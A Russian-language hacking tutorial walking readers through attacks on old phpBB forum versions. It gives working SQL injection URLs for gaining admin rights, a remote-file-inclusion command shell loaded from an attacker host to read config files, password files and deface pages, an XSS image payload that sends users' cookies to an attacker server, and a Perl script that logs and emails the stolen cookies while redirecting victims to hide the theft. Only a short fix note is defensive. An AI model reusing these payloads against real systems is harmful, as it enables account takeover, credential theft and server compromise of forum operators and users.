Ошибки в форуме phpBB Хай. Сегодня я расскажу вам о методах взлома такого популярного форума как phpBB. Отличный форум. Быстрый, красивый, легко настраиваемый. Кстати стоит и на нашем сайте. Но чем популярнее ПО, чем большее количествово хакеров обкатывают продукт тем больше в нем обнаруживается дыр. Немного углублюсь в историю и расскажу про ошибки начиная с версии 1.4.0 и по версию 2.0.0. Итак поехали. Версия 1.4.* содержит ошибку позволяющую любому пользователю получить привилегии администратора. Для использования бага вам необходимо сначала зарегистрироваться на форуме. После этого вводим в браузер строчку типа: http://сайт/директория/prefs.php?save=1&viewemail=1',user_level%3D'4'%20where%20username%3D'логин'%23 После этого жмахаем на ссылку снизу "панель администратора" и наслаждаемся правами админа. Продолжаем.... Версия 2.0.0 приносит нам большее разнообразие. Тут дело не ограничивается получением прав админа форума. Итак метод взлома. Для начала нам необходимо написать небольшой скрипт. Пишем: "; system($cmd); echo ""; ?> Теперь файлик с этой строкой сохраняем под именем mysql.txt Залезаем на какой-нибудь бесплатный хостинговый сайт и регим себе сайт. Создаем в корне папку с именем db и кидаем туда файл mysql.txt Вводим в броузер : http://victim/phpBB2/includes/db.php?phpbb_root_path=http://hacker/&dbms=mysql&phpEx=txt&cmd=ls%20../%20-al (одной строкой, http://hacker заменить на сайт где у вас лежит скрипт) Эта строка позволит выполнить команду ls. Посмотрим что у нас в config.php (файл настроек форума) http://victim/phpBB2/includes/db.php?phpbb_root_path=http://hacker/&dbms=mysql&phpEx=txt&cmd=cat%20../config.php Тут есть небольшая сложность: что-бы посмотреть содержимое файла config.php надо нажать View Source в эксплорере. Там мы можем увидеть пароль от базы данных и прочие настройки. Таким же образом можно просматривать файлы сервака. http://victim/phpBB2/includes/db.php?phpbb_root_path=http://hacker/&dbms=mysql&phpEx=txt&cmd=cat%20../../.htpasswd Хе-хе чуете чем пахнет? А если /etc/passwd подставить 8))) Ну и deface: http://victim/phpBB2/includes/db.php?phpbb_root_path=http://hacker/&dbms=mysql&phpEx=txt&cmd=echo%20'Hacked by Вася Пупкин'%20>%20../../index.php Как исправить: 1. В файл extension.inc пишем define("PHPBB", 1); 2. В файл db.php пишем в начало кода if ( !defined("PHPBB") ) { die("hackers!!!!"); } Чуть не забыл рассказать вам про cross-site scripting. В чем-же заключается уязвимость. Это тип уязвимостей, позволяющий атакующему выполнять произвольный код (например Javascript), встроив его в свое сообщение на форуме, добавив в качестве аргумента для скрипта на сервере и т.д На phpBB2 aka phpBB 2.0.0 есть возможность просмотра cookies пользователей. Делается это следующим образом: Пишем сообщение такого типа: [img] http://a.a/a"onerror="javascript:name='http://ваш_сервер/cgi-bin/script.cgi?'; cook=document.cookie; name=name+cook; document.location=name; [/img] Заранее надо создать на своей паге такой скрипт: #!/usr/bin/perl use CGI qw(:standard); $cookie=$ENV{QUERY_STRING}; $file="cook.txt"; open (FILE, ">>$file"); print FILE "$cookie\n\n"; close(file); $query = CGI::new(); print $query->redirect('начальная страница форума'); $mailprog = '/usr/sbin/sendmail'; $mail='hacker@mail.com'; $target='admin@forum.com'; open (MAIL, "|$mailprog -t"); print MAIL "Content-Type: text/plain\n"; print MAIL "Subject: Fresh cookie\n"; print MAIL "To: $mail\n"; print MAIL "From: '.$target.'\n\n"; print MAIL "$cookie"; close (MAIL); Когда пользователя редиректит на наш скрипт, то в качестве аргумента скрипту передается содержимое кукиса (часть URL`а после 'script.cgi?'). Это значение мы считываем с помощью $ENV{QUERY_STRING} и заботливо записываем в файл (кстати не забудь создать файл cook.txt), потом мы отправляем письмо с кукисом на адрес hacker@mail.com (если у тебя на хостинге нет возможности использования sendmail`а просто убери последние 9 строк скрипта). Далее мы маскируем свою деятельность перенаправляя пользователя на главную страницу форума (в скрипте начальная страница форума). В результате невнимательный пользователь вообще ничего не поймет: шел читать сообщение, а попал на главную страницу… Можно так-же просто поглумится над форумом и заодно повысить посещаемость своего сайта. Создаем сообщение с заголовком например: "Халявные номера кредитных карт" и пишем в сообщении: [img]http://a.a/a"onerror="javascript:document.location='http://ваш_сайт[/img] Ну вот и всё что я хотел вам сегодня рассказать. Автор: 1dt.w0lf --------------------------------------- RusH security team - http://rst.void.ru